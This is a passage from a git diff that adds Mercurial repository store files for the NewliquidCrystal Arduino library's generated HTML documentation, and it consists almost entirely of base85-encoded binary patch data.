zA9^@{nhm@K2YTs&(}XL)OvB3v$Z@45xq_G%ADYY*o^a@^RnTS^B|P%BGUd$ygNhK2 zj-Ma=s{f{!rIJ`2^)^w4Y;P+=rerD=#cto|u6p4OqcE1>>)p7tB>Ucd5u}qNRR!?* z=l8|8EG3A#WP7zP+3cc(Z#FF)oD)c2UBW zZ>!hcV!>}t-}H`;`Y#T8KSv9$y{lRHf86vh6Ojgr+8(;H6z`!2Qv3MzbD*+^%v`Bm z)v-!W;zI>>&I9MJemK0~KIqyeDt+y3mA=~sYP(P|Q`6>&MR@sb)xF!qYORXJdbEX2 zRP@^0Dtfnx)m#;;!xM`@fNf>F+r(96>*ZN$Ij|9OpNKW+~b^9A6yjI z&k!}i_G(SA*+mJ*zpdzZOOqYEe);0$u>bb#L z#f`Kg&}Ox=*zBSNR;(8Inq8Fe^xMj8FXYuMjNIKvn23Vb&(0K^Pm&O!=4X6UFsJR$ z7hk>=Nk5LPSwCBa!DoV)YC!u^ zw%hiHeK)@eKJ&>j8z6O}qPMx0qA9$I$Yt-Hg9?R4z!pf>8%>W!{t54+cPcPaIPq|;AC9N}`?{)XWu7GCcQL*2J~ z@cK$Y)HPdgl77Aw;Z^91fj@Th1Pc4X=(@y)?)u7x zZoKYB+q(3kBz634juL$-oEUnp(E!|PD(%s*HmKFR?RK};9yHvh-Evxku55I{imU;Q z7JS+)DpuHr+J?I?^0yP*+G*JM#18cO$_{kn#wT`}*H?C#8(){$wODVgU-tv|SI2fc zjYhN8l>@ukX*RpgXwaxRgL<8|yCE?7DdhNk9kJ=7zOw0KL7VK^%A#bf0)Yh0btEvlF0mS3Z>^bc z(IKJZq6P~d+*BE2y}RC8gKop?5-{9agW-`E_VZ`h2^a$TgGKKzkESK^kb)1AGc~Id zi{JH?#qUfuOge*DFK{kscpt(hTWdCHcwNE(TWbcm!KLu0Sao9Qy571Wx)W>A_4b-q z$_>3g@WBTOia)*V}9UXW?Fqz9*KD>nlsh-Q@DbbAhgWhX5cYYa>&H!! z40na+5>ZQEPyCjDh~g@_Z#zBJVl7|Xl_R+J;L#DLdek~4LZ|KchTB(&g0gteUr4x zy?Y$jg>AlmK07P3VFvK9$dlYbr{T1BvCs6IkIQ8-ikx!{zeKtGXyIdgJUx6G~r97au-Q@AW0YVCS>~>S585l$V~I ziBTF1QMHfN^&t32ef%H1@V$j=NncJ>V{AeUY?TL9-&^~k7I*j2QyItzcUOzSl|Co8 zuyK-1?^Ua_*{tG*@2<{ePzj^+su#HOT?Q2T2j1j-<*Lx}!-u>1ucpEIu5kRM_++=L zFduhrVUB0dy6B761SM084=Y00001IsgFT_y7O^00000!Ts2JqBml(Vx%-UJ-px?)?G^Aj@b@i*J|;k3cpY$QWsGAo^FBd8 z23M5|I>vtsINV5UMb@|Jj^kpv{;YM-I;Hl6vH5&Xm0v6??WhkGGfwHnDu2dJQ~mSC mF_dGnR5nD*(GVA6p~22P+D|wt$-eP zpCV^>k{BF&YkL#&?{94HCc7b&QWYH%+N@t@o_Tvb-p-5TFa4{3zkVbWI~C;Xw?EEK z`-C>*`1(yhj*qX7$v>a3&d*3I+9g+-Ny9Byl8HF}_!lK~Vr_O9$Mg9-n!kyZ9>-S~ z@tu>^a+`~vOn+j>V8^pBUzkeTg`?bJQd`!VI;?_3dd(LNF+E>zo zw9TtU29zY>txGN3*|7O2nJ{g@cE4SnG!JNuLM*oedT0G(a>j?6>BS+5zZuXb9!;6Z zn6^A+aSAgKDx0FbnCbLd>06Vr1mZJ}s?)w+7|X=qwA~LQ_Xd_rE-%{GQIcikgbN@S zFaixSfleHNG&+LITQbowLf~v@qQn?VG>9%Wb|Jt_04yaIO)M;P3*!1l1578AI6Qt{ zf=M*bY<1>_%~%+v#OP#Q@{OUrP8=505v1yFF$Veby5l0KLzOOwl0vbxyA{;@q3)tD z@)86j_SC|3dw1t(3zxoVHpwTDpqYh~3>V}$D8=l27riCT=3^%HoQTGZX|hyAxd9g)Jsbdh5Q0RQ@{wd>_&Sq4Qj~JmO_zaQ=rxIdG)fj zzkAd{n`CWWJ{^Lly;jtYTIea9M#U&>qtv11Fsg|qP2%2MO=~4cBA78`!ZG$3fCUj@ zRYZ=p$_SU3a+$#TbOlRBN)tN)QY*w#aI{2G_yHd}Jc8fxhl`Z^Q7$aeN;cDK-l73c zsMp{o(#b_-RB&U937itV*I`ASaGAng6o}0`t#{723{L#Y#;|l1!++ekNd}WrSyux! zIen)c%)<3J0*5xB9H}HX zU3wpzmv-W2x2?`$hm!l7ha%UH?Da&raWg{7vj=zgCrplE8;@0Kch%{A7Yk85u|m;9>J>6ntC(y2?3-FjjrZh=p$ zWe8nG+&5sA%uAm0FJsY*~}~L8n3jUNGzLcI1tMj?)n*G84ESU_&y-z92})@ zW`#A|%7-(s0Pl`_cOaB@*M|K;N$VSmvHzzzbMSv;P0?$bb<9}9L!pve^j@M;=)L4J z5qS#a)%RT4BlL8!5=5E11K}YJk^<9UU-0czpm($B3AhmGz=3bnWzyCaYJ09MIrjxs;voDO?`@_kO=RYwUg90aC2XY z#30RL$Kkc0L<^dz%-s-7=;PK7lEAE?iVN2JWm5lDD)$tJ`sJhB{)9!zbZE*l=Bti& z18>a~PqERZs3s9Sxm{<{N;6FBTp8xjb>~cD;uQ^9sL~HY_)z_346UbNST-iVA4mHs zIEtR;_oI08Bow*yQ_q6r?NgBa%`|uQ`7B8Go`S^P-%}Vp3y}S%0Qrd57I(dTuK2wB z6);La2b6=SKskmHmqnrkE)QhRM;h;gH8KzC@IL1IF0$?0Cx2VV2s0ep*+}rUKFzUa zDcW^no9y$`m6mPUeYqRzx>&kFl|P_@mgNc6=uC9!kC9S%D!FbCFUM$(S(`xbVNW7@ zt1l8tlB-EhK4hBgk@jw@Ofgc5ZzRq3>O43kY}o?D zt@qkwSoOe_uCk$(^%lDwr9vC}s=ZJn=|6NpGS2jzO4ILhK73*)>6M);khTJDm`z10 zU`BA2$b4?WYpb+setJx2uX86NUg>n*Z!y~f+&PpeI z_tg0aZG% E5+F2TssI20 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r2__w__8cpp__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r2__w__8cpp__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..686bb60b04b12e4dc25efedef29f32af35a60021 GIT binary patch literal 5794 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 gLscVV=e4un>%?nmG3aNHWug(q$I59iZFy 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 W>(o4Ul91mB?fo(u53Il3Osy6^SgCFR literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r2__w__8h__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r2__w__8h__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..25f82b004eac64ab112a26b83df110efd4e745f4 GIT binary patch literal 12093 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%0DX1eZnuo+VwY>a|H1Qa{h;$i6L6o3v4XC;5mL z{;mWY6e#ix<&UTp_(58Kq*YiHF!z0?Zg(Ot`s^<1>&ocw=jcGpyrje&a&8L!0ZBG= 